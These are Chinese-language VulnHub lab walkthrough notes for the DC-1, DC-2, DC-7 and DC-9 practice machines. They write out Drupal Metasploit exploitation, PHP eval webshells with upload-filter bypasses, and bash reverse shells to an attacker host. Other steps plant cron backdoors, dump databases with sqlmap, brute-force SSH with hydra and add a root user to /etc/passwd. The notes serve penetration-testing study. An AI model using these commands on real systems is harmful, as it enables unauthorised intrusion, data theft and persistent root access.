vulnhub靶机
VULNHUB靶场
环境:VM ware workstation
kali 2024
导入虚拟机网络模式修改为NAT模式
反弹shell
最后是一个单引号加双引号
DC-1
DC-1靶场搭建及渗透实战详细过程(DC靶场系列)-CSDN博客
Vulnhub靶场渗透测试系列DC-1(Drupal漏洞)_drupal漏洞 vulhub-CSDN博客
Flag1
sudo arp-scan -l 扫描地址,131为我们的靶机目标
db_nmap -v -sS 192.168.67.131
扫描端口开放20.80.111三个端口
80端口开放http服务
进入网页
使用wappalyzer查看网页指纹(其他方法参考链接
或者对主机进行完整扫描
db_nmap -v -A 192.168.67.131
也可以扫描到80端口及其所使用的服务版本
Drupal Drupalgeddon 2 远程执行代码漏洞 (CVE-2018-7600) - RichardYg - 博客园 (cnblogs.com)
百度搜索Drupal可能存在的漏洞,记住版本,和使用的操作系统
在Metasploit中搜索unix平台Drupal
search drupal platform:unix
只设置rhost即可
进入meterpreter,ls查看文件
flag文件就在目录下,cat抓取即可获知内容
每个好的CMS需要配置文件,你也一样
Flag2
我们打开web.config
不要显示映射到目录的 URL 的目录列表。
没有获得什么提示
百度Drupal配置文件
cd进入
暴力破解和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。
您可以使用这些凭据做什么?
Flag3
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
使用命令shell
拿到shell,然后再使用命令
python -c 'import pty; pty.spawn("/bin/bash")'
获取一个交互式shell
获得了数据库的账号密码,前面提示我们权限不够,先进入数据库
use drupaldb 查看user表中的数据
密码是加密过的,我们不能直接获取密码
方法一:修改密码
要获取加密后的结果存入pass列中才可以修改密码
我还是不太懂他们怎么找到的加密脚本,反正我是百度
/var/www/scripts/password-hash.sh
先贴个目录
代码使用php脚本编写并可以直接执行
php /var/www/scripts/password-hash.sh hacker
密码修改为hacker
如果进入/var/www/scripts目录下执行会报错
必须在www目录下
password: hacker hash: $S$DbYiDxN82smpZjC.H1YUg42FpyJU0eJLpJGQJ89yl.AKlr6fRgzb
SQL UPDATE 语句 | 菜鸟教程 (runoob.com)
SQL UPDATE 语法
UPDATE table_name SET column1 = value1, column2 = value2, ... WHERE condition;
参数说明:
- table_name:要修改的表名称。
- column1, column2, ...:要修改的字段名称,可以为多个字段。
- value1, value2, ...:要修改的值,可以为多个值。
- condition:修改条件,用于指定哪些数据要修改。
构建语句
两个密码都修改为hacker
update users set pass = "$S$DbYiDxN82smpZjC.H1YUg42FpyJU0eJLpJGQJ89yl.AKlr6fRgzb" WHERE uid = 1 or uid = 2;
修改完成
方法二:添加用户
drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具
search sploit drupal
然后看一下那个脚本path
search sploit 34992.py -p
可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入
登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件
/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
Linux /etc/shadow(影子文件)内容解析(超详细)
————————————————版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/l2872253606/article/details/125463013
登陆后有文件上传部分,只可以上传图片(思考,也许可以做个图片马
特殊的 PERMS 将帮助FIND密码 - 但您需要执行该命令才能弄清楚如何获取阴影中的内容。
Flag4
提示我们找到root的flag
Flag5
发现权限不够。需要提权
首先试试SUID提权
查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
find在/usr/bin目录下具有root权限,看到find就在其中,那就比较简单了。直接使用find提权
find -name 'fin*' -exec “/bin/bash” {} \;
-exec rm 执行rm命令
{} find查找出来的文件
\ 做转义
; 结束符
DC-2
Flag1
扫描靶机IP
完整扫描靶机IP
301状态码永久重定向到
http://DC-2,而这个域名DNS无法解析,所以我们添加本地DNS域名解析服务
修改kali
/etc目录下hosts文件
添加192.168.67.132 dc-2
此处我的虚拟机重启了,IP地址均已发生了变更
Flag 2
使用DIRB扫描网站目录
DC-3
DC-4
DC-5
DC-6
⭐DC-7
Vulnhub靶机实战——DC-7_dc-7下载-CSDN博客、
Drush初学者指南:Drupal Shell_drush命令-CSDN博客
信息获取
开机有IP提示,就不自己扫网络获取IP地址了
获取服务和开放端口,以及网页指纹
要扫的话就使用
arp- scan -l
扫描本机所在网络所有IP
db_nmap -v -A 192.168.67.133
提示,盒子外面
采用Drupal-8框架
扫描网站目录
dirb http://192.168.67.133 -r -o dirdb_DC_7
把扫描结果保存到dirdb_DC_7文件中
+ ⭐://192.168.67.133/admin (CODE:403|SIZE:8816)#直接进入admin会被403 Forbidden
+ http://192.168.67.133/Admin (CODE:403|SIZE:8816)
+ http://192.168.67.133/ADMIN (CODE:403|SIZE:8816)
+ http://192.168.67.133/batch (CODE:403|SIZE:8816)
==> DIRECTORY: http://192.168.67.133/core/
+ http://192.168.67.133/index.php (CODE:200|SIZE:8749)
+⭐ http://192.168.67.133/install.mysql (CODE:403|SIZE:302)#403 Forbidden
+ http://192.168.67.133/install.pgsql (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.67.133/modules/
+ http://192.168.67.133/node (CODE:200|SIZE:8701)
==> DIRECTORY: http://192.168.67.133/profiles/
+ ⭐://192.168.67.133/robots.txt (CODE:200|SIZE:1594)#没有有用信息
+ http://192.168.67.133/Root (CODE:403|SIZE:293)
+ http://192.168.67.133/search (CODE:302|SIZE:376)
+ http://192.168.67.133/Search (CODE:302|SIZE:376)
+ http://192.168.67.133/server-status (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.67.133/sites/
==> DIRECTORY: http://192.168.67.133/themes/
+ http://192.168.67.133/user (CODE:302|SIZE:372)
+ http://192.168.67.133/vendor (CODE:403|SIZE:295)
+ ⭐⭐://192.168.67.133/web.config (CODE:200|SIZE:4555)#没有有用信息
开始攻击
metasploit搜索攻击
msf6 > search drupal#搜索drupal相关漏洞
支持linux的 Drupal 8.x版本,经过尝试注入失败
Drupal登录页面提示DC-7的用户和密码
既然是在盒子外面,Flag1的提示意思是我们不能只在虚拟机里面找答案
搜索有一个github的界面,我们进入DC7user的github
密码在config.php中
servername是指:用于设置服务器的请求方案、主机名和端口,以唯一标识虚拟主机
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
尝试登陆网页
要求主机名为Localhost
抓包登陆链接到burp site
修改host仍然登陆不上,说明不是网页账号密码
尝试远程连接DC-7
之前提示过登陆页面是DC7的账号和密码,同时ssh端口20开放
xshell远程连接
设置主机和账号名
连接成功
尝试登陆数据库
数据库登不上
尝试提权
/user/bin目录下有find命令,尝试使用find命令提权
find -name '1' -exec '/bin/bash'{} \;
不能直接获得bash
尝试获取网站备份文件
ssh远程登陆,ls发现有bakeup备份文件,进去发现两个gpg格式文件
百度搜索gpg命令是用来加密文件的,加密后的文件都是乱码
尝试mbox文件
cat打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下
查看脚本
cat /opt/scripts/backups.sh
www-data组用户可以修改,所有者是root
drush命令执行
进入网站根目录下
drush user-password admin --password="admin"
Drush 是一个强大的 shell 接口,可以直接从云服务器命令行管理 Drupal。它是一个非常有用的工具,可以帮助您使用终端中的一两个命令执行各种管理任务,取代了在 UI 中进行许多点击和页面刷新。
居然可以直接执行,修改完密码登陆进去
可以上传图片
尝试上传图片马用蚁剑连接(不行)
先上传一个图片看看路径
反弹shell
PHP代码实现反弹shell_php反弹shell代码-CSDN博客
例子:
攻击者:nc -lvp 9999
受害者:bash -i >& /dev/tcp/192.168.239.128/9999 0>&1
图片马制作
我们制作的图片马是用蚁剑连接因此不需要这么写,但是要搞清楚原理
<?php @eval($_POST['jingyifei']);?>
先写一个非常简单的一句话木马
记得把安全软件先关掉
命名为backdoor.php,上传失败,尝试绕过
前端绕过
应该不会这么简单,没有试过
后缀名绕过
改名为backdoor.jpg
发现是白名单因此也不可以使用压缩包,黑名单双写等方式绕过
文件头绕过
【文件上传绕过】——后端检测_文件头检测漏洞_【中核检测】【文件】-CSDN博客
注意:下面的文件头的格式是16进制
的格式:
GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46
使用ultra edit
/C32Asm
编辑16进制文件
添加GIF头并修改后缀名,上传成功
蚁剑连不上,下载网页图片查看,发现被修改过
当然也可能是因为
⭐重要提示
drupal8不再支持直接运行php反弹,需要将php作为模块安装
图片渲染绕过
查看两张图片16进制文件找到没有被修改的部分,发现全部被修改,放弃上传头像
扩展知识:
-
合并图片马
-
条件竞争子母木马
本题不会删除木马没有安全检测,无需子母木马
原理是网站会进行安全检测上传的图片,但是上传后到检测删除期间有一定的时间差,在此期间我们一直不断访问该文件,即可执行图片内的php木马
例如:
xshell上传文件
上传根目录失败,上传刚刚的图片路径也失败了,没有权限,创建文件,修改文件均没有权限
我们刚刚扫描出来的目录core,profile,sites,themes也没有读写权限
尝试find提升权限,写错目录了,原来目录不能更改
find -name '1' -exec vi 'hacker.php'{} \;
创建成功hacker.php
修改内容为
<?php @eval($_POST['jingyifei']);?>
蚁剑连接
利用网页身份文件上传
add content
添加文件内容,命名为hacker.php,需要先安装php模块才可以修改文件类型,建议先开下面的安装
<?php @eval($_POST['jingyifei']);?>
给网站安装php模块
进到 ~ 目录下上传php模块文件,并解压
直接网站上传
打开php模块文件类型
把hacker.php文件类型修改为php然后使用蚁剑连接
新问题
发现路径ip/node/4连不上,是文件类型更改时候把内容也变更了,回去更改文件内容为合适的php语法格式
蚁剑连接获得www-data权限方式方式1
连接成功但是还是没有root权限,但是有www-data的权限
打开修改密码的脚本
bash -i >& /dev/tcp/192.168.67.128/3030 0>&1
添加一行
监听3030端口
即可获得root权限
实现反弹shell获得www-data权限方式2
- kali监听2024端口
-
靶机php执行反弹shell
bash -i >& /dev/tcp/192.168.67.128/2024 0>&1
这条命令的含义是尝试在目标机器上建立一个反向 shell 到指定的 IP 地址和端口。让我们逐步解释每个部分的作用:
bash -i >& /dev/tcp/192.168.67.128/2024 0>&1
1. `bash -i`: 这部分启动一个交互式的 Bash shell。
- `-i`: 表示交互式,即使在非交互式的环境中也能够使用。
2. `>& /dev/tcp/192.168.67.128/2024`: 这部分尝试将标准输出 (stdout) 和标准错误 (stderr) 重定向到指定 IP 地址 `192.168.67.128` 的端口 `2024` 上的 TCP 连接。
- `>&`: 这是一个简写,用于同时重定向 stdout 和 stderr。
- `/dev/tcp/192.168.67.128/2024`: 在 Bash 中,可以使用 `/dev/tcp/hostname/port` 的路径格式来打开一个到指定主机和端口的 TCP 连接。
3. `0>&1`: 这部分将标准输入 (stdin) 重定向到与标准输出相同的位置(也就是之前重定向到的 TCP 连接)。
- `0`: 表示标准输入。
- `>&1`: 将标准输入重定向到与标准输出相同的地方。
### 命令的作用:
这条命令的目的是在远程主机上启动一个 Bash shell,并将其输入输出重定向到一个 TCP 连接,从而使攻击者可以在目标机器上执行命令并与其进行交互。这种技术通常用于渗透测试和安全评估,用来演示系统和网络的漏洞。
### 注意事项:
- **防火墙**: 确保目标机器(`192.168.67.128`)的防火墙允许在端口 `2024` 上接收连接。
- **替代方法**: 在某些系统和配置中,`/dev/tcp` 可能不可用或不被允许使用。此时可能需要使用类似 `nc` (Netcat) 或 `socat` 的工具替代。
- **安全和法律问题**: 在未经授权和合法许可的情况下使用这种技术是非法和不道德的。在使用这类技术之前,务必获得适当的授权和许可。
这条命令常用于安全专家测试网络和系统的安全性,同时也提醒我们在使用这类技术时需遵守法律和道德准则,确保不会对他人或组织造成未经授权的损害。
在php文件中写
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.67.128/2024 0>&1'");?>
直接获得了交互式shell但是我们的身份是www-data,比dc7user高了一级,没有root权限
利用www-data权限,把交互式shell写入到backup.sh中,就是一开始加密的那个即可获得root反弹shell
在kali中监听3030端口
php -r 'exec("/usr/bin/bash -i >& /dev/tcp/192.168.67.128/3030 0>&1");'
python -c 'import pty; pty.spawn("/bin/bash")'
echo "bash -i >& /dev/tcp/192.168.67.128/3030 0>&1" >> backups.sh
echo "bash -c 'bash -i >& /dev/tcp/192.168.67.128/3030 0>&1'" >> backups.sh
如果存在 -c 选项,则从第一个非选项参数 com‐ 中读取命令
mand_string。 如果command_string后有参数,则第一个参数将分配给
$0 和任何剩余的参数都分配给位置参数。 分配给 $0
等待root自己定时执行脚本
获取root权限执行,进入/root目录下获得flag
root直连后门
不能直接访问,不能路径穿越
/var/www/html
echo "<?php @eval($_POST['jingyifei']);?>" > hacker.php
echo "<?php @eval($_POST['jingyifei']);?>" >>index.php
crontab -e可以查看并修改配置文件
* * /3 * * 定时任务表示多久执行一次 - CSDN文库
创建一个反弹shell脚本并定时执行
/opt/scripts目录下
shell运行
echo 'bash -i >& /dev/tcp/192.168.67.128/1145 0>&1' > hacker.sh
备份脚本15分钟执行一次
直接编辑文件没用
在/var/spool/cron/crontabs目录下实现:
一分钟反弹一次shell,监听1999端口
echo "*/1 * * * * /opt/scripts/hacker.sh" >> root
linux文件改名
mv /usr/bin/hacker.sh /usr/bin/hackers.sh
替换字符串
sed -i 's/mirrorlist=/#mirrorlist=/g' CentOS-Base.repo
DC-8
⭐DC-9
信息获取
进入到ip地址
看样子应该是数据库SQL注入
展示记录页面
搜索界面可以搜索姓名或者姓氏
Manage界面可以登陆管理
对主机db_map完整扫描,只有80端口开放服务,不允许ssh连接
扫描网站目录
dirb http://192.168.67.134 -r -o dirb_DC_9
没什么有用的路径,看来确实是SQL注入
抓包到burpsite中查看传递参数,因为没有拼接链接应该是POST传递参数
参数名叫search
开始攻击
手动尝试
转换为URL编码发送,burpsite自带,右键转换选中内容即可
发现返回值为0
and 1=1
返回值仍然为0
1' or 1=1#
出现用户数据
截断,或后面条件为真则全部列出,#用来注释掉后面的语句
存在SQL注入漏洞
SQLmap进行扫描
–batch
使用方法:
python sqlmap.py -u URL --batch
使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
爆库名
sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -dbs
user数据库
爆表名
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -tables
爆数据
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -T UserDetails -dump
staff数据库
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D Staff -tables
爆表名
爆数据
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D Staff -T StaffDetails -dump
员工信息,没用
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D Staff -T Users -dump
解密密码
admin的password经过加密,看起来像MD5加密,经过查询
856f5de590ef37314e7c3bdf6f8a66dc
密码为transorbital1
appscan
获得密码可以进行appscan扫描
继续登陆
登陆后获得一个add record的选项
文件包含与远程执行
这里包含了一个文件,推测存在文件包含漏洞
F12审计页面元素发现没有直接包含链接
试着传递file参数
百度搜索,是敲门服务(为啥啊
敲门服务
knock:端口敲门服务 - f_carey - 博客园 (cnblogs.com)
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn
###################################################################################################################
解释:
Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。
OpenSSH:该字段包括序列、序列超时、命令和tcp标志。
Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。
Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。
command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。
依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
###################################################################################################################
可以使用以下三条命令挨个敲击端口
nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#但是因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842;do nmap -Pn --max-retries 0 -p $x 192.168.26.137;done
File does not exist
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
开启SSH服务
所以需要依次访问7469,8475,9842端口开启ssh服务
knock 192.168.67.134:7469
knock 192.168.67.134:8475
knock 192.168.67.134:9842
或者
nmap -p 7469 192.168.67.134
nmap -p 8475 192.168.67.134
nmap -p 9842 192.168.67.134
挨个破解用户
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -T UserDetails -C username -dump > 1.txt
保存到DC-9username.txt然后修改为
对密码执行同样操作
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -T UserDetails -C password -dump > ./Desktop/DC-9userpassword.txt
将我们上面获取到的账号和密码分别保存到两个文件中,使用hydra尝试进行ssh登录,看那个账号支持ssh登录
Hydra(九头蛇)工具使用(非常详细)从零基础入门到精通,看完这一篇就够了。_hydra工具-CSDN博客
hydra -L DC-9username -P DC-9password ssh://192.168.67.134
SSH 用户@主机 #登陆
登陆所有账户都检测是否有root权限或sudo权限
否
第三个账户内有隐藏文件夹secrets(秘密
进入后获取新的txt文件,添加到我们的密码字典
再次用九头蛇爆破
获得新的账号和密码
该用户拥有sudo权限
sudo -l发现test文件有root权限
sudo
参数说明:
- -V 显示版本编号
- -h 会显示版本编号及指令的使用方式说明
- -l 显示出自己(执行 sudo 的使用者)的权限
- -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
- -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
- -b 将要执行的指令放在背景执行
- -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
- -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
- -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
- -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
- command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令
fredf密码 B4-Tru3-001
待会经常用
cat test.txt | iconv -f GBK -t UTF-8
cat文件并转码,不行
在kali系统执行命令将文件下载下来
通过 SSH 在远程和本地系统之间传输文件的 4 种方法_ssh传输文件-CSDN博客
scp fredf@192.168.67.134:/opt/devstuff/dist/test/test .
可执行程序
返回到/opt/devstuff路径发现有test.py脚本
scp fredf@192.168.67.134:/opt/devstuff/test.py .
查看脚本内容
发现作用是把一个文件写入另一个文件之中
利用脚本创建root用户
现在我们回到kali,使用openssl工具创建一个本地的加密用户,命令openssl passwd -1 -salt admin admin
然后把账号和密码写入/etc/password
文件中
然后回到靶机,跳转到/opt/devstuff/dist/test
目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test1,命令echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/test1
然后使用命令sudo ./test /tmp/test1 /etc/passwd
使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中
su admin切换用户admin
cd /root
cat *.txt
文件上传参考资料
国光的文件上传靶场知识总结 | 国光 (sqlsec.com)
SQL注入参考链接
【超详细版】SQL注入原理及思路绕过(看这篇就够了)_sql注入order by绕过-CSDN博客
【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新_sqlmap使用命令-CSDN博客
御林 10 - BUGCATCAPOO - 博客园 (cnblogs.com)这个是我去年写的乱七八糟的博客,没什么参考价值